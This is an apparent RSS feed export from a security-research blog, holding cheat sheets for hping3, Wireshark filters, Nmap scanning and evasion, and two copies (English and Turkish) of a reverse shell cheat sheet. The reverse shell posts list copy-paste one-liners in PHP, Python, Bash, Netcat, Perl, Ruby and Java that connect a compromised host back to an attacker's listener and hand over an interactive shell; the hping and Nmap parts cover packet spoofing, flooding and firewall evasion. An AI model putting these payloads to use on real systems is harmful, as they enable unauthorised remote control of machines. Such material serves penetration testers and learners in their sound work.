TR | Hping Cheat Sheet https://canyoupwn.me/tr-hping-cheatsheet/ https://canyoupwn.me/tr-hping-cheatsheet/#respond Wed, 10 Feb 2016 13:39:27 +0000 https://www.canyoupwn.me/?p=441 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Hping, komut satırı tabanlı TCP/IP paketlerini oluşturmaya ve analiz etmeye yarayan, Salvatore Sanfilippo tarafından yayınlanan açık kaynak kodlu bir araçtır. Bu aracı http://www.hping.org/ adresinden indirebilir ve hakkında ayrıntılı bilgi edinebilirsiniz. Hping aracı, size istediğiniz özelliklerde TCP/IP paketleri üretmeniz konusunda yardımcı olmaktadır. Özel olarak ürettiğiniz bu paketler ile güvenlik denetimlerinde bulunabilirsiniz. Kullanım alanlarını sayacak olursak: Bilgisayar […]

TR | Hping Cheat Sheet CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Hping, komut satırı tabanlı TCP/IP paketlerini oluşturmaya ve analiz etmeye yarayan, Salvatore Sanfilippo tarafından yayınlanan açık kaynak kodlu bir araçtır. Bu aracı http://www.hping.org/ adresinden indirebilir ve hakkında ayrıntılı bilgi edinebilirsiniz.

Hping aracı, size istediğiniz özelliklerde TCP/IP paketleri üretmeniz konusunda yardımcı olmaktadır. Özel olarak ürettiğiniz bu paketler ile güvenlik denetimlerinde bulunabilirsiniz. Kullanım alanlarını sayacak olursak:

  • Bilgisayar ağlarını keşif, gelişmiş port tarama özellikleri
  • Firewall tespit ve test işlemleri
  • Ağ dinleme modu
  • Dosya transferi
  • Komut çalıştırma özelliği
  • IDS/IPS sistemlerin keşfi

gibi alanlardır.

Çalışma mekanizmasına bakılacak olursa, hedef sisteme dair elde edilmek istenen bilgi doğrultusunda TCP/IP paketleri oluşturulur ve oluşturulan bu paketler hedef sisteme gönderilir. Hedef sistemin bu pakete göstermiş olduğu reaksiyon analiz edilir ve bu analiz sonucunda hedef sisteme dair bilgi veya bilgiler elde edilmiş olur. Bu mekanizma aşağıda gösterilen örnek ile açıklanmaya çalışılmıştır.

Bu örnekte hedef host olan 192.168.2.250 ip adresine sahip makinenin canlı olup olmadığı bilgisi elde edilmeye çalışılmaktadır. Bu bilginin elde edilebilmesi için bir adet sorgulama mesajına ihtiyaç duymaktayız. Aradığımız bu sorgu mesajı için ICMP protokolü bünyesinde bulunan echo request sorgu mesajını kullanabilir. Hedef sisteme ICMP protokolü ile echo request mesajı atılır  ve sistemin bize vereceği yanıt değerlendirilerek elde edilmeye çalışılan bilgi edinilebilir. Bu noktada hpinge ihtiyaç duyulmaktadır. Aşağıda verilen komut ile bu paket hazırlanır ve gönderilir.

1

Bu aşamada Komutla ilgili parametreler göz ardı edilmelidir. Önemli olan hazırlanan paket ile karşı sistemden bir reaksiyon almaktır ve bu reaksiyon sonucunda bilgiye ulaşmaktır. Aşağıda hedef sistemin göstermiş olduğu reaksiyon gözükmektedir.

2

Görüldüğü üzere hedef sistem gönderdiğimiz 4 numaralı pakete karşılık 5 numaralı ICMP echo reply ile cevap vermiştir. Bu mesaj yorumlandığında hedef sistemin canlı olduğu sonucuna ulaşılacaktır. Hping ile alakalı olarak gerçekleştirilebilecek tüm uygulamalar temel olarak yukarıda bahsedilen prensipler çerçevesinde cereyan etmektedir. Kısaca hedef sistem için paket hazırlanıp gonderilir ve gerceklesecek olan reaksiyon yorumlanır.

Hpingin kullanım şekli ise aşağıda gösterilmiştir.

Kullanımı: hping3 [host] [seçenekler]

Bu kullanımın yanı sıra yalnızca hping3 yazılarak hping aracının komut satırına düşülerek manuel olarak istenilen paketler hazırlanabilir. Bu konuya  sonraki yazılarda değinilecektir.

Hping aracını etkin bir şekilde kullanabilmek için programa gönderilecek olan parametrelere tam olarak hakim olmak gerekmektedir. Aşağıda bu parametreler niteliklerine göre bölümlere ayrılıp anlatılmaktadır.

– h     :   Yardım seçeneklerini görüntüle.

– c     :   Oluşturulup gönderilecek paket sayısı.

– i      :   Aralık, (-uX, X burada mikrosaniye (10^-6) cinsinden bir değerdir.)

Yukarıda gösterilen -i parametresini açıklayacak olursak;

hping3  173.194.40.211 -i u100000 denildiği zaman; bir paket hazırlanıp gönderilir ve gönderilecek diğer paket için 100000 µs süresince bekleme yapılır. Ardışık olarak gönderilen paketlerin her biri için bu aralık korunur.

— flood : Oluşturulabilecek en hızlı şekilde paketleri oluştur ve gönder.

– I       : Paketlerin yönlendirileceği ağ arayüzü

Yukarıdaki anlatılan parametreler aşağıdaki örnek ile gerçeklenmiş ve gösterilmiştir.

3

Yukarıda verilen komut ile 0.1 saniye aralıklarla 5 adet paket üretilmiştir ve wlan0 arayüzünden iletilmiştir. Aşağıdaki ekran görüntüsünde time sütununa bakıldığında bu durum gözükmektedir.4 numaralı paket referans alınarak time sekmesi altında belirttiğimiz zaman aralıkları ile paket iletildiğini görmekteyiz.

4

Hping için birçok çalışma modu mevcuttur.

– 0 — rawip  : Ham ip paketleri oluşturma. (IP+ETHERNET)

– 1 — icmp     : ICMP paketleri oluşturma. (ICMP + IP + ETHERNET)

– 2 — udp       : UDP paketleri oluşturma. (UDP + IP + ETHERNET)

– 8 — scan     : Tarama modu.

– 9 — listen   : Dinleme modu.

Yapılmak istenen işleme göre tarama modu seçilmelidir. Hping varsayılan olarak TCP modunda çalışmaktaktadır. Aşağıdaki örnekte bu parametreler gösterilmiştir.

5

Yukarıdaki komut ile hedef için UDP paketleri hazırlanıp gönderilmiştir.

Screenshot from 2013-12-28 22-38-24

Hping içerisindeki diğer bir bölüm ise IP protokolü için ayrılmıştır. Bu bölümde belirlenen parametrelerin tümü IP başlığı içerisindeki özel alanlardan oluşmaktadır. Bu parametrelerden birkaç tanesi aşağıda gösterilmiştir.

– a                        : Kaynak ip adresini belirle

— rand-source  : Rastgele kaynak ip belirle.

— rand-dest       : Rastgele hedef ip belirle.

– t –ttl                 : ttl değerini belirle.

– o –tos               : tos (type of service) alanını belirle.

– y  –dontfrag   : Don’t fragment alanını belirle.

Aşağıdaki örnekte bu parametrelerin kullanımı gösterilmektedir.

Ekran Alıntısı

Yukarıdaki komut ile kaynak adresleri spooflanmış, ttl değeri 25 olarak belirlenmiş ve dont fragment bayrağı set edilmiş 4 adet ip paketi hedefe gönderilmiştir. Bu paketler aşağıda gösterilmektedir.

6

Hping içerisindeki diğer bir bölüm ise ICMP paketlerinin oluşturulduğu bölümdür. Bu bölümde kullanılacak olan parametrelerin bir kısmı aşağıda gösterilmiştir.

– C  –icmptype : ICMP mesaj tipi (varsayılan echo request)

– K  –icmpcode : ICMP kodu. (Varsayılan 0)

— icmp-help       : Diğer tüm mesaj tipleri için parametreleri görüntüle.

Sonraki bolum ise TCP/UDP protokollerini hazırlamak için kullanılan parametrelerden oluşmaktadır. Bu bölüm ile istenilen özelliklerde TCP veya UDP segmentleri oluşturulabilmektedir. Aşağıda bu parametrelerin birkaç tanesi gösterilmiştir.

– s  — baseport                 : Kaynak port adresi.

– p  — destport                 : Hedef port adresi.

– F/S/R/P/A/U/X/Y     : TCP bayraklarını set etme özelliği.

– w  — win                         : Windows size alanını set et.

– M                                     : Sıra numarasını belirle.

– L                                      : Ack numarasını belirle.

Aşağıda gösterilen örnekte yukarıdaki parametreler kullanılarak istenilen özelliklerde TCP paketi oluşturulmuş ve gönderilmiştir.

7

Bu paketi aşağıda gösterilmektedir.

8

Son bölümde ise ethernet çerçevesine yönelik genel parametreler tanımlanmıştır.

 – d — data        : Pakete yerleştirilecek veri boyutu.

– E — file           : Dosyadan okunacak veri.

– T — traceroute : Traceroute modu.

– B  — safe        : Dosya transferi sırasında güvenli protokolleri kullan.

Bu yazıda hpingin ne olduğu, nasıl çalıştığı, parametrelerinin ne işe yaradığı nasıl kullanılacağı anlatılmıştır.

TR | Hping Cheat Sheet CanYouPwnMe

]]>
https://canyoupwn.me/tr-hping-cheatsheet/feed/ 0
TR | Basit Wireshark Filtreleri https://canyoupwn.me/tr-basit-wireshark-filtreleri/ https://canyoupwn.me/tr-basit-wireshark-filtreleri/#respond Mon, 01 Feb 2016 19:40:32 +0000 http://canyoupwn.me/?p=174 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Not:Mantıksal operatörler tüm filtrelemelerde kullanılabilir. Örnek : http&ip.src==192.168.1.1 Management Frame : Ağ cihazı ile istemci(client) arasında ki bağlantı kurulmasıyla ilgili frame(çerçeve)dir. Control Frame : Ağ cihazı ile istemci(client) arasında ki veri trafiğinin bütünlüğünü kontrol eder. Data Frame :Asıl verinin aktarıldığı taşındığı frame(çerçeve)dir. Sadece Management frame üzerinden gelen,giden paketleri göstermek için. wlan.fc.type==0 Kontrol frame üzerinden gelen,giden paketleri göstermek için. […]

TR | Basit Wireshark Filtreleri Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Not:Mantıksal operatörler tüm filtrelemelerde kullanılabilir.

Örnek : http&ip.src==192.168.1.1

Management Frame : Ağ cihazı ile istemci(client) arasında ki bağlantı kurulmasıyla ilgili frame(çerçeve)dir.

Control Frame : Ağ cihazı ile istemci(client) arasında ki veri trafiğinin bütünlüğünü kontrol eder.

Data Frame :Asıl verinin aktarıldığı taşındığı frame(çerçeve)dir.

Sadece Management frame üzerinden gelen,giden paketleri göstermek için.

wlan.fc.type==0

Kontrol frame üzerinden gelen,giden paketleri göstermek için.

wlan.fc.type==1

Data frame’i üzerinden transfer edilen paketleri göstermek için.

wlan.fc.type==2

Association isteklerini listeler.

wlan.fc.type_subtype==0

Association cevaplarını listeler.

wlan.fc.type_subtype==1

Probe isteklerini listeler.

wlan.fc.type_subtype==4

Probe cevaplarını listeler.

wlan.fc.type_subtype==5

Beacon sinyallarini/dalgalarını listeler.

wlan.fc.type_subtype==8

Authentication isteklerini listeler.

wlan.fc.type_subtype==11

Deauthentication isteklerini listeler.

wlan.fc.type_subtype==12

TCP, xx portuna gelen ,giden paketleri listeler.

tcp.port == xx

TCP, Kaynağı xx portu olan paketleri listeler.

tcp.srcport == xx

TCP, Hedefi xx portu olan paketleri listeler.

tcp.dstport == xx

UDP, xx portuna gelen,giden paketleri listeler.

udp.port == xx

UDP,Hedefi xx portu olan paketleri listeler.

udp.srcport == xx

UDP,Kaynağı xx portu olan paketleri listeler.

udp.dstport == xx

HTTP Get isteklerini listeler.

http.request

Kaynak veya hedef mac adresine ait paketleri listeler.

wlan.addr == MAC Adresi

Kaynağı mac adresi olan paketleri listeler.

wlan.sa == MAC Adresi

Hedefi mac adresi olan paketleri listeler.

wlan.da == MAC Adresi

TR | Basit Wireshark Filtreleri Enes ERGÜN

]]>
https://canyoupwn.me/tr-basit-wireshark-filtreleri/feed/ 0
EN | Reverse Shell Cheat Sheet https://canyoupwn.me/en-reverse-shell-cheat-sheet/ https://canyoupwn.me/en-reverse-shell-cheat-sheet/#respond Sun, 31 Jan 2016 20:28:54 +0000 http://canyoupwn.me/?p=147 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell […]

EN | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

nclvp

The following examples 192.168.10.11 Local IP and the local port 4545 to listen


Php

php -r '$sock=fsockopen("192.168.10.11",4545);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash

bash -i &gt;&amp; /dev/tcp/192.168.10.11/4545 0&gt;&amp;1

Netcat

nc -e /bin/sh 192.168.10.11 4545

Perl

perl -e 'use Socket;$i="192.168.10.11";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.10.11",4545).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/192.168.10.11/4545;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()

EN | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
https://canyoupwn.me/en-reverse-shell-cheat-sheet/feed/ 0
TR | Reverse Shell Cheat Sheet https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/ https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/#respond Sun, 31 Jan 2016 20:28:43 +0000 http://canyoupwn.me/?p=53 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef makina üzerinde komut çalıştırabilecek bir zafiyet yakalamışsınızdır ancak SSH keyi eklemenize yada benzer bir şekilde bağlantı açmanıza imkan vermiyor olabilir… Bu durumda bir TCP porta reverse shell almak istersiniz. Komut çalıştırarak reverse shell almanıza imkan sağlayacak etken hedef makinada çalışan betik  dilleridir, en stabil şekillerini sizin için “kopyala/yapıştır” kullanabileceğiniz bir şablon […]

TR | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef makina üzerinde komut çalıştırabilecek bir zafiyet yakalamışsınızdır ancak SSH keyi eklemenize yada benzer bir şekilde bağlantı açmanıza imkan vermiyor olabilir…
Bu durumda bir TCP porta reverse shell almak istersiniz.

Komut çalıştırarak reverse shell almanıza imkan sağlayacak etken hedef makinada çalışan betik  dilleridir, en stabil şekillerini sizin için “kopyala/yapıştır” kullanabileceğiniz bir şablon halinde hazırladık.

Bu komutu hedef üzerinde çalıştırmadan önce istek yapacağınız portu Netcat dinlemeye almanız gerekmektedir.

nc -lvp [port]

nclvp

Aşağıdaki örneklerde 192.168.10.11 local IP ve 4545 ise dinleyeceğiniz local porttur

 


Php

php -r '$sock=fsockopen("192.168.10.11",4545);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash

bash -i &gt;&amp; /dev/tcp/192.168.10.11/4545 0&gt;&amp;1

Netcat

nc -e /bin/sh 192.168.10.11 4545

Perl

perl -e 'use Socket;$i="192.168.10.11";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.10.11",4545).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/192.168.10.11/4545;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()

TR | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/feed/ 0
EN | Nmap Cheat Sheet https://canyoupwn.me/en-nmap-cheatsheet/ https://canyoupwn.me/en-nmap-cheatsheet/#respond Sun, 31 Jan 2016 18:37:06 +0000 http://canyoupwn.me/?p=101 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Nmap? The software provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection, vulnerability detection, and other features. Nmap is also capable of adapting to network conditions including latency and congestion during a […]

EN | Nmap Cheat Sheet Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Nmap?

The software provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection, vulnerability detection, and other features. Nmap is also capable of adapting to network conditions including latency and congestion during a scan. Nmap is under development and refinement by its user community.

How to install Nmap?

In generally most linux deploy library have nmap so if you want use “sudo apt-get install nmap”  command or download the from nmap.org.

 

How to use Nmap?

  • Basic Scanning Techniques

Scan a single target;

nmap [target]

Scan multiple targets;

nmap [target1, target2, target3…]

Scan a list of targets;

nmap –iL [target.txt]

Scan a range of hosts

nmap [target-50]

Excluding targets from a scan;

nmap [target] --exclude [dışlanacak target]

Excluding targets using a list;

nmap [target] --exclude [Dışlanacaktarget.txt]

Scan an IPv6 target;

nmap -6 [target]

Scan random hosts;

nmap -iR [target sayısı]

Scan top 100 port;

nmap -F [target]

Disable reverse DNS resolution;

nmap -n [target]

For scanning depth (T0-T5);

nmap -T4 [target]
  • Discovery Options

Perform a ping scan only;

nmap -sP [target]

Perform a ping scan only and closing port scanning;

nmap -sn [target]

Don’t ping;

nmap -PN [target]

TCP SYN Ping;

nmap -PS [target]

TCP ACK Ping;

nmap -PA [target]

UDP Ping;

nmap -PU

ARP ping;

nmap -PR [target]

Create a host list;

nmap -SL

Disable DNS analysis;

nmap -n/-R [target]

Alternative DNS lookup;

nmap --system-dns [target]

Scan for port;

nmap -p [target]

Scan all ports;

nmap -p- [target]

Scan port ranges;

nmap -p 0-61

Perform a SYN scan only;

nmap -sS [target]

Perform a ACK scan only;

nmap -sA [target]

TCP window scan;

nmap -sW [target]

TCP scanning;

nmap -sT [target]

UDP scanning;

nmap -sU [target]

Detect OS;

nmap -O [target]

Detect OS and version analysis;

nmap -A [target]

Troubleshooting version scans;

nmap -sV [target]

ICMP echo ping;

nmap -PE [target]
  • Firewall Evasion Techniques

Fragment packets;

nmap -f [target]

Spoof MAC Address;

nmap --spoof-mac [MAC|0|vendor] [target]

Specify a specific MTU;

nmap -MTU [MTUdeğeri] [target]

IP spoofing;

nmap -D Spooflananip [target]

Send bad checksums;

nmap --badsum [target]

Append random data;

nmap --data-length [boyut] [target]
  • Nmap script kullanımı

Scan use to all scripts;

nmap -sC [target]

Use the starts “http” to scripts;

nmap --script "http*" [target]

Execute individual scripts;

nmap --script [scriptAdı] [target]

Execute scripts by category;

nmap --script [kategori] [target]

EN | Nmap Cheat Sheet Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/en-nmap-cheatsheet/feed/ 0